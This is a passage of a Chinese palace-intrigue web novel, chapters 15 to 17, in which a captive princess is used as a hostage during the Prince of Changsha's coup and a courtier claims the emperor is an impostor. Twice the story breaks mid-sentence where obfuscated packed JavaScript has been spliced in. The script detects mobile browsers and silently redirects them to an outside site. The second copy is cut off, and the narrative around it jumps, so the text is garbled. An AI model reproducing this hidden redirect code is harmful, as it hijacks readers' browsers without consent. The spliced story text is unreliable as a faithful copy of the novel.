“檀越在佛门中的时候确实是法号慧玄。”他笑了笑,轻轻地一摆手,示意那些假执金吾卫上前,把明绰团团围住。 “不过你太父早就迫我还俗蓄发,还给我取了一个俗家名字,也许长公主听说过……”那个白瓷一样的男人站在月光下,轻轻摸过了自己的满头青丝,“在下方千绪。” 明绰僵在那里,干脆扬起了下巴,怒目而视。她跑不了,但她至少还有公主的尊严。 方千绪又露出了赞许的目光,似是明白了她这一个小小的动作里所有的心思,于是彬彬有礼地躬了身,给足她公主的体面。 “东乡公主,长沙王有请。” 15.第 15 章 萧盈刚起身就听见人来报,出大事了。 昨日里瓦官寺进宫来做一场法事,居然把准皇后和东乡公主都给拐跑了。梁女史不知道怎么想的,不追去瓦官寺,却疑心是御史中丞家里藏了人。 王诃的夫人姓崔,正是执金吾卫中尉崔挺的亲姐姐。本来就听说女儿在宫中生了病,既没有确切的消息,又接不回来人,正满怀的邪火没地撒,竟跟梁女史犯起冲来,结果身边两个女婢被梁女史下令抽了好几鞭子,惩戒王家冒犯太后威严。 崔夫人将门之女,哪里受得了这个气,立刻把王诃的叔伯兄弟都召来,又去娘家请来八十多岁的祖父联合上书,直接递到了陛下御前,也不管天子有没有这个权力把太后怎么着,总之得先告一状。 萧盈莫名其妙地看着眼前这封上书,只问:“那公主呢!” 来递上书的被问得愁眉苦脸,根本说不出个所以然来,只知道建康都乱成一锅粥了。 昨天崔夫人把王家全族都召起来那么一哭,她的公公,太后的舅父,持着剑就闯进了太尉府,站在谢郯门前扬着嗓子骂。王家把好好的女儿送进上阳宫,现在人被和尚拐跑了,太后居然还派女史来王家打杀下人,这是什么道理!谢家欺人太甚,王家也不是软柿子!谢太尉要出来跟他讲道理,他也不听,揪着谢太尉的襟口,险些真在太尉身上戳出个洞眼儿来。 中书令仓皇进宫,太后找不到公主,哪里耐烦王家的事情,只是夺了梁女史的印,命她禁足思过,就想敷衍过去。崔夫人岂肯罢休,回娘家又哭一场。太后下令执金吾卫出去找人,崔挺居然两手一摊,拒不从命,说执金吾卫乃是国之重器,是征伐平乱用的,这种找人的事情,应该找城门校尉。 太后震怒,罚了崔挺十鞭,下令左中侯带了人直接把瓦官寺围成了铁板一块。 左中侯提审了去宫中做法事的慧净、慧悟二僧。对于带走了公主和王氏女一事,二僧供认不讳,但坚称不是“拐走”。王氏女被怨魂缠身,沉疴不起,是太后让公主带王氏女去龙盘山休养,还派了执金吾卫护卫,不许相扰。 左中侯原本不信,但是慧净真的拿出了执金吾卫军侯的信物。左中侯就忍不住想了,难道崔挺抗命竟是另有深意?是知道太后只是做给王家看看的?瓦官寺里面贵人也不少,左中侯哪有崔挺的家世和人望,一时不敢得罪,便撤了军,回来先报给太后听。 太后都没听他说完就罢了他的军职。崔挺挨了鞭子还在家躺着,又被太后召进宫,直接把那枚军侯信物往他脸上砸,让他拿回去好好查,哪个军侯,领的哪道令,一天之内解释不清楚,就跟左中侯一起滚回家去! 一通雷霆发作完,太后又亲自摆驾瓦官寺。但她与慈安先前闹得狠了,放了话“永不相见”,所以硬是不肯亲自去,只让人去把慈安给她“请”下来。 慈安拒不从命。 传令的人原样又下了山,回报王氏女已在龙盘山上剃度出家,而东乡公主昨晚把人送来以后就走了——是。他顶着太后的怒火答得战战兢兢,是慈安比丘尼让公主一个人在夜里走了,公主自己说,会有执金吾卫来接…… 太后险些没当场背过气去,当即让人斩了慧净、慧悟二僧,然后一迭声派人去请王家人,让他们过来自己看看“王家人做下的好事!” 其时已近三更,但是崔夫人立刻带了人上龙盘山去,仆役们手中的火把绕成了游龙,当真有盘山之势。据说崔夫人一见到王执瑈的样子,就咬牙切齿地骂谢拂霜不得好死,慈安就在一旁听着,眉目不动,好像说的根本不是她的女儿。只有崔夫人说要把王执瑈带回去的时候,慈安才说了一句,她已入佛门,俗世之人带不走她。 崔夫人爱女心切昏了头,但王家尚有清醒的人,一看就明白了是怎么回事。做小叔的苦苦相劝,今日领回家去医好了,那这婚事怎么办?王家还能退陛下的婚事吗?此番这般得罪了太后,瑈儿再进宫去,还有命吗?不如先在姑母这里避一避,等阿兄回来再做计较……一直劝到天都亮了,崔夫人才终于肯将女儿留在慈安这里,一步三回头地下了山。 就跟还嫌不够乱似的,这会儿城门校尉又来报,说长沙王带着两个儿子到建康了,请太后示下。 长沙王到了,也就意味着王诃回来了。但御史中丞也没有回来复命,太后派人去请,只听人通报,说御史中丞路上染了时疫,不能来见。 太后左思右想,估摸着事情大概已经传进了王诃的耳朵里。崔夫人此番还只是小打小闹,若是御史中丞咽不下这口气,在朝中搅动起来,才要出大事。谢家虽然不怕,但也麻烦得很。 谢拂霜只得又把崔挺召来,好言好语,请他怜惜她慈母之心,好歹王家的女儿找回来了,东乡公主还不知道在哪里…… 崔挺听明白了太后的意思,也替姐姐给太后赔罪,承诺会回去跟姐姐、姐夫好好说和。执金吾卫也定不会辜负太后的期望,就算在建康城挨家挨户地去敲门,也要把东乡公主找回来。 君臣两个各自把过场走完一遍,太后也没追问那枚军侯信物是怎么回事,崔挺也没主动报,只是提了一嘴,说长沙王已到建康,但是跟着御史中丞去荆州押送的那三百名执金吾卫仍未归营。太后听完沉默了片刻,只让崔挺自己看着处理,就心烦意乱地让他退下了。 崔挺出了宫,不到两个时辰,袁煦怀里揣着那枚军侯信物,又进了含清宫。 “什么意思?”萧盈没反应过来,“谁给你的?” “桓湛。”袁煦压低声音,两手奉上给陛下看,“说是瓦官寺里那个掉了脑袋的和尚交给左中侯的。” 萧盈一时没说什么,把那军侯信物接过来,掂在手里左右地看。这东西也是个虎符的形状,但小了两圈,也没有从中间劈开。上面也有铭文,写了独一无二的字样。执金吾卫里每有军令下达,都会配这样一块信物给领命的军侯作为凭证,根据上面的铭文字样就可以去查档,何年何月何日何时,何人所命,何人领命,一概清清楚楚,绝无作伪。复命之时,也得把这信物上交销档,才算是了结。要是不小心丢了,依军法当斩。 萧盈抬头问袁煦:“你又不是执金吾卫,桓湛为什么给你?” 袁煦跟陛下没大没小:“但陛下亲口赐了婚,我是他妹夫啊!” 萧盈明白了什么:“好个崔挺。”随即又问袁煦:“桓湛还说什么了?” 袁煦便道:“他说这道军令是上个月初七发的,奉太后之命,调了三百人给御史中丞,去荆州押送长沙王。” 一片静默。袁煦还没听说瓦官寺的那一出闹剧,只是忠实地传了桓湛的话而已,一时不明白萧盈的脸色为什么突然就变得这样难看。 “陛下?”袁煦也跟着严肃起来,“怎么了?” 萧盈手指微蜷,把这枚信物牢牢地攥在了手心,像是捏碎某个人的喉咙。 “萧,忞!” 明绰猛地吸了一口气,突然从梦中惊醒过来。有那么一会儿,她都没想起来自己在哪儿,紧张地环视了一圈,记忆才潮水般涌了回来。她想起来了,是李姬把她安顿在这里的,她还见到了长沙王,还叫了他一声五叔。但萧忞只是冷冷地看了她一眼,便去跟慧玄说话了——不对,不是慧玄,是方千绪。明绰想起来,她听见萧忞称呼方千绪为“亚父”。 “长公主醒了?” 明绰又是一惊,这才发觉方千绪就坐在房中,正低着头读一封信。这个房间所有的窗户都是封死的,糊了厚厚的一层纸,光线透进来,便像是被筛过了所有的锐利,只剩下柔和的、发着昏黄的光,让人读不清楚字。方千绪的鼻子都快要贴到那张纸上了,好不容易才看完,一时有些哭笑不得的口吻:“崔夫人这个脾气啊……” 明绰没出声,看着方千绪把崔夫人的信放到一边,自己铺开纸,磨墨,提笔便写了“吾妻”二字。 明绰想起了王执瑈盯着虚空中喊父亲的模样,背上不禁沁出一层冷汗,但她努力保持着镇定:“你仿御史中丞的字,骗得过人家夫人吗?” “我仿子颜的字,连他自己都看不出来。”方千绪抬起头,朝明绰笑了笑,“长公主要是不信,可以看看崔夫人的回信,看她可有起疑?” 明绰犹豫片刻,总觉得他没必要让自己一个人质知道得这么多,但又实在没抵挡得住诱惑,伸手把崔夫人的信拿过来,头两眼看得犹犹豫豫的,生怕方千绪反悔,见他确实没有阻止的意思,才一口气都读完了。 崔夫人一封信写得十二分急迫,先问丈夫到底病得如何,为什么不能回家治,为何连面都见不着,然后转了一笔,说今日又回娘家去见过弟弟,但弟弟生了疑心,不肯与她说太后召他进宫做什么。小儿思念姐姐,闹着要去龙盘山。到底什么时候能把瑈儿接回来?总不能真的让瑈儿出家吧!公公整日要去找太尉理论,小叔软弱好性,惧怕谢家之势。父子两个说来说去,还是想着支持陛下早日亲政,便好送瑈儿回去那无间地狱——但她话放在这里,这婚事必得退了!王氏若有忌惮,还有崔氏撑腰,若夫君也不疼惜瑈儿,她就带着儿女回娘家去!家里很乱。盼归,盼归! 明绰把信抛下,看了一会儿方千绪的回信。他洋洋洒洒写了一大篇,好生安慰,怜夫人辛苦,叹女儿可怜,爱幼子情笃,倒是事事都有回应。 “人都死在你手里了,”明绰冷冷地说了一句,“还在这里哄骗人家夫人。” 方千绪笔尖一顿,似是被她戳了一下,但只是一瞬,又流畅地写了下去:“就是因为人已死在我手里,才要替子颜安顿好家里,方不枉与他相交二十余载。” 明绰轻轻咬牙:“无耻!” “我并不想要子颜的命。”方千绪终于抬头看了明绰一眼,“驱他入死地的是你母后。” 明绰的声音提高了一些:“诡辩!” 方千绪笑了笑,仍旧低头写信:“所以要谢谢太后,若是换了旁的人,倒也没这么顺利。” 明绰坐在那里,感觉心里哽了一块似的。 其实当时派谁去都一样,太后觉得公主出的主意是个好由头,长沙王怎么反应都有理由动手,所以连下两道令,还拨了三百执金吾卫,其实就是想在封地把人处死。选王诃,就是因为王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932092|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诃替长沙王说了两句话,所以母后非要磋磨他,让他亲自去下这个杀手,以敲打敲打王家试图支持天子亲政的野心。 没想到长沙王硬是从这个死局里走出了一线生机。 明绰昨夜已经在心里推演了无数遍,长沙王从荆州进建康若是带了大批人马,不可能控制得住沿途的每个驿站都不往建康传信。而路线又已早早定下报备给朝廷,若是绕开驿道,没按日子抵达特定的驿站,也会上报。 唯一的方法,就是荆州刺史邓霄用自己手下的兵替换了王诃手下的执金吾卫。三百人去,三百人回,方千绪冒充王诃,还有军侯信物作为凭证。只有这样,才有可能一路悄无声息,瞒天过海。 可是如此大费周章地混了三百人来,又有什么用呢?拿来闯宫都很勉强。更何况这三百执金吾卫回京就要归营复命,稍有延迟,崔挺就会发觉。 崔挺的位置非常关键,方千绪冒充王诃给崔夫人写信可能不是一天两天。但明绰不觉得崔挺会这么不知轻重,碾死三百人的叛军就跟碾死一只蚂蚁那么简单,出手相助却要赌上身家性命。 方千绪把信写完了,在纸上吹了口气催墨干。明绰看着他折起信纸,塞入信封,突然道:“崔挺不会因为崔夫人几句挑拨就背叛母后的。” “哎呀,”方千绪叹了口气,“崔夫人要是有长公主一半聪明,方某可就要头痛咯。” 明绰不理会他的阴阳怪气:“你们只有三百人。” “三百人又如何?”方千绪语气平淡,却有一股冲天而起的傲气含在眼中,“也要看是在谁手里。” 明绰半点没有被他的气势吓到:“在谁手里都没用。要想控制建康城,至少两千人。城郊大营中满编的执金吾卫大概八千,城门校尉有两千,这些都是半天之内就能集结的人马。就算你以权贵为人质,再以城墙为据守,要抵挡住这一万人……” 明绰飞快地算了算,甚至又给他让了一步:“即使你手下各个一夫当关,也得五千人才守得住建康——这还没算上驻在宿州和徐州的执金吾卫,还有……” 这小丫头倒是当真在谢郯手里学了点东西。方千绪饶有兴致地看着她,打断了她的点兵:“长公主焉知我手中没有这五千人呢?” “不可能。”明绰说得斩钉截铁,“你从袖子里变出来的吗?” “说对了。”方千绪作势伸进自己的袖口里,虚握成拳,然后伸到明绰面前,口中“哗”一声,一边念念有词“贫僧自有神兵天降!”简直拿她当小孩子戏耍。明绰怒目而视,嘴唇翕动,无声地骂了一个不太符合公主身份的词。 方千绪含笑:“长公主懂的还真是不少,可惜都是纸上谈兵。” 外头突然传来一阵骚乱的动静。明绰先听见了一句“亚父”,便看见萧忞走了进来,身后跟着李姬和一个满脸大胡子的武将。 “亚父,”萧忞语气急迫,“宫里来人召本王去赴宴了。” “好,”方千绪拍了拍萧忞的肩膀,“忞儿要记得,你就是天命所归!” 明绰仔细地看了萧忞几眼,方千绪的话好像有一种奇异的魔力,让他从眼睛深处亮起来。景平七年他离开建康时方及弱冠,脸上还没有这么多的棱角。如今站在明绰眼前的男人宽肩窄腰,雄武挺拔,和她记忆里那个唯唯诺诺的小叔叔已经判若两人。 明绰一颗心突然狠狠往下一坠,重臣赴宴,看到这样的长沙王站在病弱苍白、尚未长成的陛下身边,会作何感想? 方千绪抖了抖袖袍,把他刚才伪造的王诃手书交给了那武将。李姬上前一步,替萧忞正了正冠,轻声道:“我等着我儿凯旋。” 萧忞点了点头,终于转过脸来看定了明绰,眼里闪着某种光,好像她是挂在钩上的一块肥饵。 明绰在一瞬间就打定了主意,整个人往前一扑,一下子抽出了萧忞腰间的佩剑。房中的人都惊呼了一声,萧忞也动作飞快地往后退。但明绰没想刺杀长沙王,她知道自己只有一瞬间的机会,横剑就往自己的脖子上抹去。 方千绪的手伸出来,想也没想就抓住了剑刃。明绰用尽力气,但他只是手上一甩,硬是握着剑刃把剑抢了过来。那武将上前一步,抓小鸡仔似的,一只手就把明绰制得动弹不得。 方千绪把剑扔在脚下,低头看了一眼掌心被割出来的血痕。 明绰激烈挣扎:“别想拿我要挟母后,我死也不会让你们得逞的!” 方千绪突然伸出手捏住了她的下巴,他掌心还有温热的血汩汩地流淌,明绰嫌恶地想要把脸别开,又被他强硬地捏着下巴,逼迫她看向自己。一直到这一刻为止,方千绪对她都还温和有礼,甚至还挺欣赏她,所以明绰也不怕他。但是这一刻,方千绪居高临下地看着她,眼里的东西却让明绰感到一股寒意直从脊梁骨蹿上来,不挣扎了。 她安静下来,方千绪便松开了她的下巴,抬手用袖口替她擦去了下巴上沾上的血。 “将军,莫对长公主不敬。”方千绪示意那人放开明绰,轻轻俯身,与她平视,又变回了那个温和的大人,“走吧,我们送你回去见你母后。” 16.第 16 章 龙盘山居,清晨,云蒸霞蔚。 慈安出门来浇菜的时候,发现谢聿正无声地独自立在门外。地上放着一盏已经熄灭的灯,显然是天还没亮就开始爬山了。山上露重,连他发间都被浸得半湿。见到母亲出来,他也没有开口唤一声,母子两个只是对望了片刻,然后慈安无声地转身,唯一知道儿子来了的表示也就是没有关门。 这个反应已经算得上是欢迎了。谢聿抖了抖身上的氅,举步踏进了慈安的山居。里面极其清简,只有供着佛龛的高案尚算华丽。谢聿拈了香,先在佛前三拜,这才转头坐在了母亲面前。 “母亲,”谢聿颔首为礼,“王氏女如何了?” 慈安的声音有几分粗哑,硬邦邦的:“死不了。” 谢聿又问:“明绰到底去了哪儿?” 慈安还是只有几个字:“不知道。” 谢聿的声音带了两分责备:“母亲!” 慈安抬眼看他:“太后让你来的?” 谢聿没答,这种事情显而易见,他非要说什么思念母亲、关心母亲之类的话,只会让慈安发怒。 慈安垂眸倒茶:“太后有什么话可以亲自来问我。她年纪轻轻,是爬不动这山道了吗?” 谢聿从唇缝里挤出来一句:“那也得母亲肯见。” “说得对。”慈安不以为忤,把茶盏推到他面前,“她来了我也不会见。” “但此事关乎明绰,母亲……” “天下不是只有明绰有娘疼。”慈安冷冷地打断他,“瑈儿也有娘疼。太后下手的时候怎么没有想过人家的娘也会心痛?” “是啊,都有娘疼。”谢聿没忍住,“唯独我和拂霜没有娘疼!” 慈安什么都没说。谢聿平复了一下,端杯饮茶。类似这样的话,他们母子之间已经说过不知道多少次,再反复也只是徒费功夫。今日宫中还要宴请长沙王,他的时间不多。 “母亲,儿子只是想知道公主在哪里,问完就走,不打扰母亲清修。” 慈安轻轻皱起眉头,似是困惑谢聿为什么一副她把公主藏起来了的样子。她自问并未故意隐瞒什么,谢拂霜已经调了一批人,一日一夜间几乎把整个龙盘山都翻了一遍。 但江南丘陵不甚高险,龙盘山也无深峡老洞,找不到人就是找不到,谢拂霜这才无可奈何,只好再遣兄长来问是否有别的线索。 谢聿也皱着眉看着慈安。其实母子两个生得很像,王老妪走出来奉茶点,见母子二人这般对峙着,倒像是在看镜子一般。但那气氛绷得吓人,王老妪一时都没敢出声,只好小心翼翼地放下茶点。 最后还是谢聿先断开了和母亲的视线对峙,轻叹了一声:“母亲到底还要跟拂霜置气到什么时候?” 慈安并不理会,反倒招呼王老妪:“不必招待了,送客吧。” 谢聿不动,只道:“我已娶了庾家的女儿,这么多年了,有多少债也已经还清了,为了庾郎,母亲要连一个无辜的孩子都一起迁怒吗?” 慈安猛地抬眼,脸上终于露出了一丝属于红尘世内人的情绪。好像儿子不是说了一句话,而是在她胸口猛地捅了一刀。 当年王家许给谢郯的其实是慈安的亲姐姐,而她定下的婚事是青梅竹马的庾家儿郎。但是她的姐姐突然病逝,王家只好把她送进了谢家的门。就是为了这桩遗憾,她一心想让女儿和庾家结亲。可惜庾家虽有祖荫,子孙却无能,在朝中并无建树,眼看着一代不如一代。谢郯势利,心里看不上,谢拂霜也有样学样,一心要做皇后。当年怀帝的皇后本来定的是楚氏女,谢拂霜故意惊了楚氏女的马,害她跌断了腿,落下了终身的跛疾。 就是从那个时候起,她们母女之间便再没一句好言好语。 谢拂霜恨她放不下和庾郎的情意,如此自私地一定要自己搭上终身。慈安则是恨女儿和谢郯简直一个模子里刻出来,甚至比儿子还更像父亲的作风行事。等到谢拂霜封后,谢郯独揽朝中大权之时,她已经恨极了谢氏一门,恨他们所有人的不择手段,薄情寡义,更恨他们的势利贪权,恨到只能躲进佛堂,以求一息安宁。可她越要避开,谢郯便越认定她是放不下庾郎。最后因她执意出家,谢郯还让谢聿娶了庾家的女儿,作出一副都是为了她的姿态,谢聿心中百般不愿意,也只能忍下。这么多年,谢聿和庾夫人感情始终淡淡的,膝下只有一女。 儿子现在说这样的话,慈安便知道,其实他也是在心里责怪她。 慈安冷笑了一声:“中书令不必来老尼这里啰嗦,冤有头债有主,太后寻不着女儿,自是她造孽太多,菩萨降下的报应。” “这叫什么话!”谢聿急了,“这还是为娘的说得出来的话吗!” “你有的来这里教老尼如何为人母,不如回去劝劝太尉如何为人父。”慈安眉目不动,词句如刀,“当年他把慧玄带回太尉府的时候——” 只听“当”一声,王老妪似是骇了一跳,手中的茶具一下子跌到了地上。谢聿紧紧攥住母亲的手,同时几乎是哀求似的叫了一声:“阿娘!” 慈安便不说了,看着儿子,嘴角的冷笑渐渐变了滋味,说不清的悲意。其实儿子心里也很清楚到底发生了什么,整个太尉府都知道。谢郯当年何曾顾及过她的颜面?可是他们谁也不会去说谢郯的不是,只是心安理得地责怪她的出走是因为放不下庾郎。 其实她连庾郎什么样子都不记得了,倒是慧玄那张脸,那张她曾以为出尘如优昙花的脸,最后成为了丈夫给她带来的最刻骨铭心的耻辱。 谢聿站起来,看起来已经平复了心绪:“儿子说错话了,这就走,母亲消消气,别气坏了身子。” 慈安扭过脸去,不愿理他。谢聿朝她躬身行了一礼,她也避而未受。 谢聿无可奈何,只好走出去,王老妪见他要走,又急忙出来相送。出了门,又送上山路,踌躇了半晌,才张嘴唤了一声:“中书令。” 谢聿停下来:“老妈妈请说。” “老奴听慈安比丘尼说起慧玄与太尉——哦,老奴没有别的意思!”她见谢聿皱了眉,慌忙摆手,“只是前夜里长公主和老奴送我家小姐上山,遇到了一个好心的居士,便是自称慧玄的。” 谢聿一下子变了脸色:“什么?” “长公主离开前叮嘱了老奴,怕太后追究,老奴就没敢提起。”王老妪一脸为难,“但若是这慧玄与太尉府有旧,长公主又下落不明,是不是……” 谢聿没听她说完,只低声念了句“不好”,甚至来不及与王老妪说上一句话,转头就沿着山道跑了下去。清晨的雾气仍未散,被他的袖袍搅动,惊破一片世外的宁静。 等到山雾重新凝聚时,谢聿已不见了踪影。 中书令的车马一路疾驰过建康的长街,过司马门,入宫禁,直谒太极殿。太极殿正摆下宫宴,为长沙王接风。 照理说,藩王无事入京,多半没有好事,宫宴也有点鸿门宴的意思。萧氏宗亲本来就没剩几个,不是外放封地就是已经死绝。留在建康的都是往前数几代的公主们下嫁过的外姓宗室,他们也都心里犯怵,本是不想来的,但太后并未食言,已下了旨,给长沙王送来的两个儿子都封了侯,还依着陛下的字辈,给两个侯爷都改了名字,长子改作萧盛,次子改作萧益。 太后场面上的功夫做足了,宗室们也没有退避的理由。来太极殿一瞧,发现今日连陛下都来了,太后的座次甚至还在天子之下。 太极殿里各归其位,内贵人这才传天子旨意,宣长沙王。 长沙王自殿外现身,不解剑,不脱履,抬腿就要上殿。 殿上所有人都同时变了脸色。在场的还有桓大将军,他母亲是萧氏的公主,祖父立下开国之功,方得天子恩准“入朝不趋,剑履上殿”,可是桓公到死都未敢如此行事。 桓殷立刻站起来,朝萧忞大喝一声:“长沙王还不解剑!” 萧忞手搭剑柄,斜睨了桓殷一眼,神色倨傲,竟不作答,还是往殿上走。桓殷正要再喝,只见萧忞身后又多出来两个人影,本该是他两个儿子,但殿上所有人定睛一看,只见一人作白衣文士装扮,另一人身量不足,着淡绯色襦裙,是个寻常女儿家的打扮。 她一露面,太后就倒吸一口冷气,摁着案角站了起来。 殿上大多数人也都认出了东乡公主,但无人敢窃窃私语,连桓大将军都收了声,犹疑不定地看看太后,又看看太尉。 谢郯却好像没看见明绰,一双眼睛只瞪着那白衣文士,好像要在他脸上烧出两个洞。 谢拂霜咽下一口气,强迫自己重新坐下:“长沙王不必解剑,上殿吧!” 萧忞一笑,手从剑柄上放下,也不朝天子行礼,大摇大摆地走了进来。明绰看准机会就想往跑,但是萧忞手一伸便扣住了她。当着太后和宗亲的面,硬是拽着她坐到了自己身边。明绰狠狠挣了两下也没挣开,似是被萧忞捏疼了手腕,没忍住发出痛声。谢拂霜整个身子都往前倾,像一头准备扑食的母狮子。 “东乡顽劣,本宫也是心急如焚。”谢拂霜牙关都要咬碎,却仍故作平静地与萧忞周旋,“多谢长沙王把她送回来。今日宫宴人多,她这般成何体统?要不还是让东乡下去梳洗一番……” “不必了!”萧忞打断她的话,“本王是看着东乡长大的,多年不见,想念得紧。今天来的都是自家人,就让东乡陪本王喝两杯又如何?” 明绰还在挣扎,长沙王随她又踢又闹,好像铜皮铁骨,不知痛痒。明绰感觉自己的手腕都要被他捏碎了也挣脱不开,只好扬起嗓子大叫:“母后!他要造反——”然而话音未落,长沙王反手就是一巴掌,只听“啪”一声脆响,打得明绰整个人都失去了平衡,要往边上倒,却又被长沙王狠狠地拽回来。整个人像是被拆散架了,只觉得耳朵里嗡嗡作响,登时叫不出声音了。 谢拂霜目眦欲裂,还未来得及说话,谢郯已冷哼一声,只道:“放肆!”伸手便去抓眼前的杯子。 桓殷看他动作就感到不对劲,立刻警觉地转身,隐约好像是看见偏殿窗上有层层人影一闪而过。谢郯没有被女儿喝住的意思,手中的杯子应声摔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是她还没说完,萧忞的手臂铁铸的一般,突然收紧,把她胸腹间所有的气都挤出去了似的,明绰的脸一下通红,险些被他掐死。 “大将军且慢。”那白衣文士突然叫住桓殷。 桓殷回过头看了他两眼:“你是何人?” “无名小卒。”他微微颔首,“只是大将军对大雍忠心耿耿,有几句话,不妨听完了再忙调兵不迟,免得受了蒙骗,铸下对不起萧氏先祖的大错。” 谢郯猛然打断他:“桓兄莫听他胡言乱语!快去快去!” 萧忞也勒紧明绰,谢拂霜还是忧心女儿,急得又制止:“桓殷不许轻举妄动!你放开公主,本宫可以赦你无罪!” “我……”桓殷让他们父女喝得脑门都冒出一层汗,又被白衣文士的话震住,一时进退两难。 “桓氏世代忠良,大将军是安阳公主之子,本朝的辅政大臣也该有大将军一席之地,何故俯首听谢氏调遣?”白衣文士突然提高声音,几乎有些咄咄逼人,“若太后犯下弥天大罪,太尉又急于杀人灭口,长沙王有冤难诉,当然只有找大将军主持公道了。” 桓殷莫名其妙地看了一眼萧忞:“长沙王有何冤屈?” “本王是替萧氏伸冤!”萧忞终于把剑从明绰脖子上挪开,换了个方向,直指谢拂霜,“南山石上栽梧桐,不见鸾鸣见雀踪!” 他起了个头桓殷便知道他要说什么了。但这样的理由已不新鲜,怀帝的兄弟们个个都是这一套词。桓殷不耐烦地一挥袖,只道:“诛心之论!若无证据……” “有证据,”白衣文士打断他,“大将军,在下就是证据。” 谢郯突然开了口:“千绪。” 他垂着头,声音很低,就连站得离他最近的谢聿都险些以为是错觉。可是方千绪顿了顿,似是千真万确地听见了这一声唤。十五年了,这是谢郯对他说的第一句话。是哀求,还是威胁? 方千绪只当没有听见,继续往下说:“十五年前,先帝崩逝,谢后临盆,只产下一女。谢郯为揽私权,命我从民间寻得一男婴,冒充皇家血脉……” 明绰只觉得自己浑身的血都突然僵住了。所有人都抬起头,随着方千绪的话,看向了那个始终沉默的至尊之位。萧盈的脸隐在垂下的玉藻后,看不清神情,但他一动都没有动,像一尊泥雕的神像,一具受人跪拜的傀儡。明绰下意识地看向了谢拂霜,发现母后也在看她。 “母后……”明绰无声地摇了摇头,想问她,这不是真的,对不对?可是她说不出话。 谢拂霜突然下令:“拿下他。” 太后一声令下,殿中门窗立刻被破开,方才桓殷见到的偏殿人影都现出了身形。然而他们刚往前数步,手中的刀斧还没有来得及靠近方千绪,只听几声“嗖嗖”的利箭破空之声,十来个刀斧手应声倒地,背后插的羽箭还在兀自发颤。宗亲们惊声不断,连大将军都骇得退了一步。刀斧手们被近距离射杀,说明整座太极殿已经被围住了。 殿外杀声忽起。 17.第 17 章 建康承平日久,怀帝的兄弟们造反,最近的也就是打到了宿州。所以这些个权贵宗亲们都不记得谋逆宫变是个什么情形了,听见杀声起来,年轻一些的都吓哭了。也就是桓殷还有些泰山崩于前而色不改的气度,不惧流矢之险,走到殿门口往外看了一眼。 唯见金甲如云。 方千绪看定谢郯,轻轻勾起了唇角:“太尉,执金吾卫到了。” 桓殷难以相信:“执金吾卫怎么会在你们手里?” 方千绪转过头:“长沙王天命所归,崔挺迷途知返,知道该效忠谁。” 三百人连闯宫都很勉强的。明绰突然想起来,她跟方千绪说的时候,方千绪笑她,纸上谈兵。 寻常的宫城校尉着黑甲,不会轻易与执金吾卫起冲突。这群人突然冲进来,刀箭武器备齐,宫城校尉甚至来不及反应,已被切瓜砍菜般地清理干净。 三百人是不多,但是他们只要混进来,守住太极殿和太极殿里的权贵,就已经赢了。而更可怕的是,听起来外面根本就不止三百人。 是那封信。明绰死死地盯着地上的尸体,感到自己的身体一动也不能动,脑子却比任何时候都转得快。她突然想明白了,方千绪把那封伪造的信交给了那个武将,他一定是邓霄。邓霄会带着王诃的手书去见崔挺,那么在崔挺看来,荆州已叛,大军或已在路上,宗亲权贵都已经陷在太极殿,而王诃倒向了长沙王,他的亲姐姐崔夫人也是同谋。 崔挺要忠,便要千难万选里救出太后和陛下,即使成功,面对的也很有可能是天子对于王诃夫妇的清算连坐。更何况,方千绪在殿上讲的故事,邓霄也一定会讲给崔挺听。 这同样是一个再容易不过的选择。 桓殷突然上前一步:“太后,此人所言当真?” 谢拂霜转头断喝:“桓殷!你也要跟着长沙王谋反不成!” “桓氏绝不出逆贼。”桓殷目光灼灼地盯着太后,“臣只是想知道,陛下——”他的手伸出来,指向萧盈,“是不是先帝的骨肉。” “大将军家里没个儿子孙子的吗?”方千绪幽幽地开了口,“咱们算一算,东乡公主还没满十五吧?瞧瞧她的身量——” 他不怎么尊敬地伸手比划了一下明绰的身高,手停在自己的胸口,然后又看了看萧盈,手便一路往上,几乎比划到了自己眉间。 “若真是一母同胞的双生子,没道理陛下高出来这么多?” 明绰心里又是一坠。不错,皇兄从小就比她高。男孩儿也许本来就生得更高大些,以前觉得天经地义,可是方千绪一说,她又突然想起萧盈和袁煦站在一起的样子。他们这个年纪正是长身体的时候,差个半岁都很明显,可是萧盈和袁煦从来都并肩而立,完全看不出来袁煦比陛下年长。 军中操练,很多都是十五六岁的小子,此事桓殷再有数不过。其余的宗亲们家中也都有孩子,听了这话,一时也都露出了怀疑的神色。谢拂霜面容惨淡,好像根本没有在听他们说了什么。 有位宗亲仍是不敢相信,突然道:“可是当日登基大典上太后抱着陛下面见百官,那绝对是个刚出生不久的孩子!怎么会——” 方千绪笑了一声,甚至都懒得回答他这个问题。桓殷恍然地转过脸,看定了明绰,那神情突然变成了嫌恶,好像一想到他曾经俯首跪拜、甘心称臣的竟是这样一个小丫头,他就很恶心似的。 但母后是做得出这样的事的,明绰发现自己心里并不觉得意外。十岁以前,有多少次是她代替萧盈接受群臣朝拜,连她自己都数不清了。 外面仍有杀声,但片刻间已经弱下去很多。也许是执金吾卫来得太多,也许是宫城校尉的抵抗太不堪一击,总之,这场战役听起来力量悬殊,很快就会结束了。连萧忞抓着明绰的手劲都松脱了一些,好像已经觉得胜券在握,不必再挟持公主。明绰本该跑的,但她紧张得太久,绷得全身都不听使唤。尤其是背上一块肩胛骨,一直抵着长沙王袍子里什么硬东西,疼得厉害。她想了想,意识到那是长沙王的薄甲。 